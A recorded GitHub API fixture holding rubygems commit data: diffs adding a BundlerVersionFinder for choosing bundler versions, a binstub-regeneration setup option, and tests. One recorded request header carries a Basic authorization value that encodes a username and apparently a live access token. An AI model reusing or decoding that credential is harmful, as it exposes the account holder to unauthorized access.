self.without_filtering\n+ without_filtering, @without_filtering = true, @without_filtering\n+ yield\n+ ensure\n+ @without_filtering = without_filtering\n+ end\n+\n+ def self.bundler_version\n+ version, _ = bundler_version_with_reason\n+\n+ return unless version\n+\n+ Gem::Version.new(version)\n+ end\n+\n+ def self.bundler_version_with_reason\n+ return if @without_filtering\n+\n+ if v = ENV[\"BUNDLER_VERSION\"]\n+ return [v, \"`$BUNDLER_VERSION`\"]\n+ end\n+ if v = bundle_update_bundler_version\n+ return if v == true\n+ return [v, \"`bundle update --bundler`\"]\n+ end\n+ v, lockfile = lockfile_version\n+ if v\n+ return [v, \"your #{lockfile}\"]\n+ end\n+ end\n+\n+ def self.missing_version_message\n+ return unless vr = bundler_version_with_reason\n+ <<-EOS\n+Could not find ''bundler'' (#{vr.first}) required by #{vr.last}.\n+To update to the lastest version installed on your system, run `bundle update --bundler`.\n+To install the missing version, run `gem install bundler:#{vr.first}`\n+ EOS\n+ end\n+\n+ def self.compatible?(spec)\n+ return true unless spec.name == \"bundler\".freeze\n+ return true unless bundler_version = self.bundler_version\n+ if bundler_version.segments.first >= 2\n+ spec.version == bundler_version\n+ else # 1.x\n+ spec.version.segments.first < 2\n+ end\n+ end\n+\n+ def self.filter!(specs)\n+ return unless bundler_version = self.bundler_version\n+ if bundler_version.segments.first >= 2\n+ specs.reject! { |spec| spec.version != bundler_version }\n+ else # 1.x\n+ specs.reject! { |spec| spec.version.segments.first >= 2}\n+ end\n+ end\n+\n+ def self.bundle_update_bundler_version\n+ return unless File.basename($0) == \"bundle\".freeze\n+ return unless \"update\".start_with?(ARGV.first || \" \")\n+ bundler_version = nil\n+ update_index = nil\n+ ARGV.each_with_index do |a, i|\n+ if update_index && update_index.succ == i && a =~ Gem::Version::ANCHORED_VERSION_PATTERN\n+ bundler_version = a\n+ end\n+ next unless a =~ /\\A--bundler(?:[= ](#{Gem::Version::VERSION_PATTERN}))?\\z/\n+ bundler_version = $1 || true\n+ update_index = i\n+ end\n+ bundler_version\n+ end\n+ private_class_method :bundle_update_bundler_version\n+\n+ def self.lockfile_version\n+ return unless lockfile = lockfile_contents\n+ lockfile, contents = lockfile\n+ lockfile ||= \"lockfile\"\n+ regexp = /\\n\\nBUNDLED WITH\\n\\s{2,}(#{Gem::Version::VERSION_PATTERN})\\n/\n+ return unless contents =~ regexp\n+ [$1, lockfile]\n+ end\n+ private_class_method :lockfile_version\n+\n+ def self.lockfile_contents\n+ gemfile = ENV[\"BUNDLE_GEMFILE\"]\n+ gemfile = nil if gemfile && gemfile.empty?\n+ Gem::Util.traverse_parents Dir.pwd do |directory|\n+ next unless gemfile = Gem::GEM_DEP_FILES.find { |f| File.file?(f.untaint) }\n+\n+ gemfile = File.join directory, gemfile\n+ break\n+ end unless gemfile\n+\n+ return unless gemfile\n+\n+ lockfile = case gemfile\n+ when \"gems.rb\" then \"gems.locked\"\n+ else \"#{gemfile}.lock\"\n+ end.untaint\n+\n+ return unless File.file?(lockfile)\n+\n+ [lockfile, File.read(lockfile)]\n+ end\n+ private_class_method :lockfile_contents\n+end"},{"sha":"b9292f3f7c0168bd62930078e1204411233cd993","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":20,"deletions":2,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -15,7 +15,8 @@ def initialize\n super ''setup'', ''Install RubyGems'',\n :format_executable => true, :document => %w[ri],\n :site_or_vendor => ''sitelibdir'',\n- :destdir => '''', :prefix => '''', :previous_version => ''''\n+ :destdir => '''', :prefix => '''', :previous_version => '''',\n+ :regenerate_binstubs => true\n \n add_option ''--previous-version=VERSION'',\n ''Previous version of RubyGems'',\n@@ -79,6 +80,15 @@ def initialize\n options[:document].uniq!\n end\n \n+ add_option ''--[no-]regenerate-binstubs'',\n+ ''Regenerate gem binstubs'' do |value, options|\n+ if value then\n+ options[:regenerate_binstubs] = true\n+ else\n+ options.delete(:regenerate_binstubs)\n+ end\n+ end\n+\n @verbose = nil\n end\n \n@@ -92,7 +102,7 @@ def check_ruby_version\n end\n \n def defaults_str # :nodoc:\n- \"--format-executable --document ri\"\n+ \"--format-executable --document ri --regenerate-binstubs\"\n end\n \n def description # :nodoc:\n@@ -146,6 +156,8 @@ def execute\n \n say \"RubyGems #{Gem::VERSION} installed\"\n \n+ regenerate_binstubs\n+\n uninstall_old_gemcutter\n \n documentation_success = install_rdoc\n@@ -520,4 +532,10 @@ def uninstall_old_gemcutter\n rescue Gem::InstallError\n end\n \n+ def regenerate_binstubs\n+ command = Gem::Commands::PristineCommand.new\n+ command.handle_options %w[--all --only-executables]\n+ command.execute\n+ end\n+\n end"},{"sha":"55873c71e87e23a82905f9e389b6a6ff39103899","filename":"lib/rubygems/dependency.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/dependency.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/dependency.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/dependency.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -280,6 +280,8 @@ def matching_specs platform_only = false\n requirement.satisfied_by?(spec.version) && env_req.satisfied_by?(spec.version)\n }.map(&:to_spec)\n \n+ Gem::BundlerVersionFinder.filter!(matches) if name == \"bundler\".freeze\n+\n if platform_only\n matches.reject! { |spec|\n spec.nil? || !Gem::Platform.match(spec.platform)"},{"sha":"6f2847d548a3eb55da14534828d9806eaa579431","filename":"lib/rubygems/errors.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/errors.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/errors.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/errors.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -58,6 +58,9 @@ def initialize name, requirement, specs\n private\n \n def build_message\n+ if name == \"bundler\" && message = Gem::BundlerVersionFinder.missing_version_message\n+ return message\n+ end\n names = specs.map(&:full_name)\n \"Could not find ''#{name}'' (#{requirement}) - did find: [#{names.join '',''}]\\n\"\n end"},{"sha":"8f5eab243b7d207bf1888efd0ae09ba6351909cd","filename":"lib/rubygems/specification.rb","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -1057,6 +1057,7 @@ def self.find_by_name name, *requirements\n def self.find_by_path path\n path = path.dup.freeze\n spec = @@spec_with_requirable_file[path] ||= (stubs.find { |s|\n+ next unless Gem::BundlerVersionFinder.compatible?(s)\n s.contains_requirable_file? path\n } || NOT_FOUND)\n spec.to_spec\n@@ -1068,7 +1069,9 @@ def self.find_by_path path\n \n def self.find_inactive_by_path path\n stub = stubs.find { |s|\n- s.contains_requirable_file? path unless s.activated?\n+ next if s.activated?\n+ next unless Gem::BundlerVersionFinder.compatible?(s)\n+ s.contains_requirable_file? path\n }\n stub && stub.to_spec\n end"},{"sha":"5ca145fcc2778a9e50f800dcea26e9aa05a6b2ba","filename":"test/rubygems/test_gem.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -1110,7 +1110,8 @@ def test_self_use_paths_with_nils\n orig_path = ENV.delete ''GEM_PATH''\n Gem.use_paths nil, nil\n assert_equal Gem.default_dir, Gem.paths.home\n- assert_equal (Gem.default_path + [Gem.paths.home]).uniq, Gem.paths.path\n+ path = (Gem.default_path + [Gem.paths.home]).uniq\n+ assert_equal path, Gem.paths.path\n ensure\n ENV[''GEM_HOME''] = orig_home\n ENV[''GEM_PATH''] = orig_path"},{"sha":"fff52e81866f5c58b55f7cb1cac64d70b56c82dc","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"added","additions":125,"deletions":0,"changes":125,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -0,0 +1,125 @@\n+# frozen_string_literal: true\n+require ''rubygems/test_case''\n+\n+class TestGemBundlerVersionFinder < Gem::TestCase\n+ def setup\n+ @argv = ARGV.dup\n+ @env = ENV.to_hash.clone\n+ ENV.delete(\"BUNDLER_VERSION\")\n+ @dollar_0 = $0\n+ end\n+\n+ def teardown\n+ ARGV.replace @argv\n+ ENV.replace @env\n+ $0 = @dollar_0\n+ end\n+\n+ def bvf\n+ Gem::BundlerVersionFinder\n+ end\n+\n+ def test_bundler_version_defaults_to_nil\n+ assert_nil bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_env_var\n+ ENV[\"BUNDLER_VERSION\"] = \"1.1.1.1\"\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_bundle_update_bundler\n+ ARGV.replace %w[update --bundler]\n+ assert_nil bvf.bundler_version\n+ $0 = \"/foo/bar/bundle\"\n+ assert_nil bvf.bundler_version\n+ ARGV.replace %w[update --bundler=1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler 1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler\\ 1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler\\ 1.1.1.2 --bundler --bundler 1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ $0 = \"other\"\n+ assert_nil bvf.bundler_version\n+ end\n+\n+ def test_bundler_version_with_lockfile\n+ bvf.stub(:lockfile_contents, [nil, \"\"]) do\n+ assert_nil bvf.bundler_version\n+ end\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n 1.1.1.1\\n\"]) do\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ end\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n fjdkslfjdkslfjsldk\\n\"]) do\n+ assert_nil bvf.bundler_version\n+ end\n+ end\n+\n+ def test_bundler_version_with_reason\n+ assert_nil bvf.bundler_version_with_reason\n+ bvf.stub(:lockfile_contents, [nil, \"\\n\\nBUNDLED WITH\\n 1.1.1.1\\n\"]) do\n+ assert_equal [\"1.1.1.1\", \"your lockfile\"], bvf.bundler_version_with_reason\n+\n+ $0 = \"bundle\"\n+ ARGV.replace %w[update --bundler]\n+ assert_nil bvf.bundler_version_with_reason\n+ ARGV.replace %w[update --bundler=1.1.1.2]\n+ assert_equal [\"1.1.1.2\", \"`bundle update --bundler`\"], bvf.bundler_version_with_reason\n+\n+ ENV[\"BUNDLER_VERSION\"] = \"1.1.1.3\"\n+ assert_equal [\"1.1.1.3\", \"`$BUNDLER_VERSION`\"], bvf.bundler_version_with_reason\n+ end\n+ end\n+\n+ def test_compatible\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", 1.1))\n+\n+ bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.1.1.1\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.1.1.a\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.999\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.999\"))\n+ end\n+\n+ bvf.stub(:bundler_version, v(\"2.1.1.1\")) do\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"2.1.1.1\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.1.1.a\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"1.999\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.999\"))\n+ end\n+ end\n+\n+ def test_filter\n+ versions = %w[1 1.0 1.0.1.1 2.a 3 3.0]\n+ specs = versions.map { |v| util_spec(\"bundler\", v) }\n+\n+ assert_equal %w[1 1.0 1.0.1.1 2.a 3 3.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n+\n+ bvf.stub(:bundler_version, v(\"2.1.1.1\")) do\n+ assert_empty util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n+ assert_equal %w[1 1.0 1.0.1.1], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ bvf.stub(:bundler_version, v(\"1\")) do\n+ assert_equal %w[1 1.0 1.0.1.1], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ bvf.stub(:bundler_version, v(\"2.a\")) do\n+ assert_equal %w[2.a], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ bvf.stub(:bundler_version, v(\"3\")) do\n+ assert_equal %w[3 3.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n+ end\n+\n+ def util_filter_specs(specs)\n+ specs = specs.dup\n+ bvf.filter!(specs)\n+ specs\n+ end\n+end\n\\ No newline at end of file"},{"sha":"d7eec3c090423f46f6760ceb7109b434f0f7e874","filename":"test/rubygems/test_gem_dependency.rb","status":"modified","additions":28,"deletions":0,"changes":28,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_dependency.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_dependency.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_dependency.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -338,6 +338,34 @@ def test_to_specs_suggests_other_versions\n assert_match \"Could not find ''a'' (= 2.0) - did find: [a-1.0]\", e.message\n end\n \n+ def test_to_specs_respects_bundler_version\n+ b = util_spec ''bundler'', ''2.0.0.pre.1''\n+ b_1 = util_spec ''bundler'', ''1''\n+ install_specs b, b_1\n+\n+ b_file = File.join b.gem_dir, ''lib'', ''bundler'', ''setup.rb''\n+\n+ write_file b_file do |io|\n+ io.puts ''# setup.rb''\n+ end\n+\n+ dep = Gem::Dependency.new \"bundler\", \">= 0.a\"\n+\n+ assert_equal [b, b_1], dep.to_specs\n+\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"3.5\", \"reason\"]) do\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ dep.to_specs\n+ end\n+\n+ assert_match \"Could not find ''bundler'' (3.5) required by reason.\\nTo update to the lastest version installed on your system, run `bundle update --bundler`.\\nTo install the missing version, run `gem install bundler:3.5`\\n\", e.message\n+ end\n+\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"2.0.0.pre.1\", \"reason\"]) do\n+ assert_equal [b], dep.to_specs\n+ end\n+ end\n+\n def test_to_specs_indicates_total_gem_set_size\n a = util_spec ''a'', ''1.0''\n install_specs a"},{"sha":"2f9dabfd5c7bba20db3789ea53039d881fef96d2","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -540,7 +540,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n nil\n end\n \n- assert_equal nil, fetcher.fetch_path(@uri + ''foo.gz'', Time.at(0))\n+ assert_nil fetcher.fetch_path(@uri + ''foo.gz'', Time.at(0))\n end\n \n def test_fetch_path_io_error\n@@ -606,7 +606,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n nil\n end\n \n- assert_equal nil, fetcher.fetch_path(URI.parse(@gem_repo), Time.at(0))\n+ assert_nil fetcher.fetch_path(URI.parse(@gem_repo), Time.at(0))\n end\n \n def test_implicit_no_proxy"},{"sha":"f7d3988ce37b886486202a3e9fb24dc774b82aaf","filename":"test/rubygems/test_kernel.rb","status":"modified","additions":30,"deletions":0,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_kernel.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_kernel.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_kernel.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -90,4 +90,34 @@ def test_gem_not_adding_bin\n assert gem(''a'', ''= 1''), \"Should load\"\n refute $:.any? { |p| %r{a-1/bin} =~ p }\n end\n+\n+ def test_gem_bundler\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ assert gem(''bundler'')\n+ assert $:.any? { |p| %r{bundler-1/lib} =~ p }\n+ end\n+\n+ def test_gem_bundler_missing_bundler_version\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ gem(''bundler'')\n+ end\n+ assert_match \"Could not find ''bundler'' (55) required by reason.\", e.message\n+ end\n+ end\n+\n+ def test_gem_bundler_inferred_bundler_version\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n+ quick_gem ''bundler'', ''1''\n+ quick_gem ''bundler'', ''2.a''\n+\n+ assert gem(''bundler'', ''>= 0.a'')\n+ assert $:.any? { |p| %r{bundler-1/lib} =~ p }\n+ end\n+ end\n end"},{"sha":"33095de3c8c0d12499376cd95a8ba7febdfba9e8","filename":"test/rubygems/test_require.rb","status":"modified","additions":38,"deletions":0,"changes":38,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -383,6 +383,44 @@ def self.gem(*args)\n assert_equal %w(a-1), loaded_spec_names\n end\n \n+\n+ def test_require_bundler\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2a\n+\n+ assert_require ''bundler/setup''\n+ assert_equal %w[bundler-2.a], loaded_spec_names\n+ assert_empty unresolved_names\n+ end\n+\n+ def test_require_bundler_missing_bundler_version\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"55\", \"reason\"]) do\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2a = new_spec(''bundler'', ''2.a'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2a\n+\n+ e = assert_raises Gem::MissingSpecVersionError do\n+ gem(''bundler'')\n+ end\n+ assert_match \"Could not find ''bundler'' (55) required by reason.\", e.message\n+ end\n+ end\n+\n+ def test_require_bundler_with_bundler_version\n+ $:.reject! {|lp| File.expand_path(lp).end_with?(\"bundler/lib\") }\n+ Gem::BundlerVersionFinder.stub(:bundler_version_with_reason, [\"1\", \"reason\"]) do\n+ b1 = new_spec(''bundler'', ''1'', nil, \"lib/bundler/setup.rb\")\n+ b2 = new_spec(''bundler'', ''2'', nil, \"lib/bundler/setup.rb\")\n+ install_specs b1, b2\n+\n+ assert_require ''bundler/setup''\n+ assert_equal %w[bundler-1], loaded_spec_names\n+ end\n+ end\n+\n def silence_warnings\n old_verbose, $VERBOSE = $VERBOSE, false\n yield"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:17 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a2ac2c04741178924d88215734d34b7a5df5d1aa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4380' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"680083f05e470639ef2d1e27aad072d3" Last-Modified: - Fri, 25 Aug 2017 14:54:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.057016' X-Github-Request-Id: - A338:4D95:F4891C:1C84C32:5A50E481 body: encoding: ASCII-8BIT string: '{"sha":"a2ac2c04741178924d88215734d34b7a5df5d1aa","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T14:54:34Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-25T14:54:34Z"},"message":"Use assert_nil in remote fetcher tests","tree":{"sha":"0e12ada1ce7e40cbd4aa27430e4fc031d9d10720","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0e12ada1ce7e40cbd4aa27430e4fc031d9d10720"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a2ac2c04741178924d88215734d34b7a5df5d1aa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZoDoqAAoJEAEZW7MV3ahWpM4P/Rxn505ZjPoU0R9HQCEq0n+q\nL0zXyr+kOW3+t9TGIY3KUCbXgv/Wj02je9G2Fo9dw9Kk65t8+5drv3yskd5cC8sc\nnB58uQ3VPxOz/QjEy8ffJSTeTl33PU30jc9g/Wsg4HY1SVkSVByi6QSYK7JxbeVO\nyWjz+jtIwDt6r4FTxroMELubMoOUN5tfiCPB0bcW/0XWuuWSIj1PjazUHlaMuB8M\ngtikINbCl2TWuXq4Vd3vEww+LSCaabmRdv4Mx5pBOTxIemkM1haNDbrVmMWFf8Lt\nQchhgWN0nIe4q8ob2j2Ku/pHCwIW1eTYm1kmQDvVckRZhtyW3KVnGKsvdpAjVNAK\nDdpRqVgTOnArsJNARydaeuYfT845g1jkqX4ev346Ot9UcDjP5zL/Q0kYcdnmSR57\n/Vl1QLV9M5O2IQUed2LQuPrDfpjH9LSEz0eB73WYiMU3fw8S0+qgtma3Hsyys78X\nLjVjA3W/cNFUAkVrhH3+OBkFDjU6rTUwUAL5V+G95+OJcUbTlJ1tfO2+Y75t5aFW\nAcPM8rg9+71b3qat604dTmt4W0DUCvFeRKMiiTCCymRRxf27Z9BlLNsDuKBl9Ort\nl+h0SxzvJ1key9ufKfTXBiSdSTf7mFmVPfPkECIwxwhk2hLKH9ge1gCyDHonOgyU\nIpxQkE1ufd361sXdH6M6\n=YHQL\n-----END PGP SIGNATURE-----","payload":"tree 0e12ada1ce7e40cbd4aa27430e4fc031d9d10720\nparent e7e410b95349047d8f42882dd7e22ff824925ec8\nauthor Samuel Giddins 1503672874 -0400\ncommitter Samuel Giddins 1503672874 -0400\n\nUse assert_nil in remote fetcher tests\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a2ac2c04741178924d88215734d34b7a5df5d1aa","html_url":"https://github.com/rubygems/rubygems/commit/a2ac2c04741178924d88215734d34b7a5df5d1aa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a2ac2c04741178924d88215734d34b7a5df5d1aa/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e7e410b95349047d8f42882dd7e22ff824925ec8","url":"https://api.github.com/repos/rubygems/rubygems/commits/e7e410b95349047d8f42882dd7e22ff824925ec8","html_url":"https://github.com/rubygems/rubygems/commit/e7e410b95349047d8f42882dd7e22ff824925ec8"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"2f9dabfd5c7bba20db3789ea53039d881fef96d2","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/a2ac2c04741178924d88215734d34b7a5df5d1aa/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a2ac2c04741178924d88215734d34b7a5df5d1aa/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=a2ac2c04741178924d88215734d34b7a5df5d1aa","patch":"@@ -540,7 +540,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n nil\n end\n \n- assert_equal nil, fetcher.fetch_path(@uri + ''foo.gz'', Time.at(0))\n+ assert_nil fetcher.fetch_path(@uri + ''foo.gz'', Time.at(0))\n end\n \n def test_fetch_path_io_error\n@@ -606,7 +606,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n nil\n end\n \n- assert_equal nil, fetcher.fetch_path(URI.parse(@gem_repo), Time.at(0))\n+ assert_nil 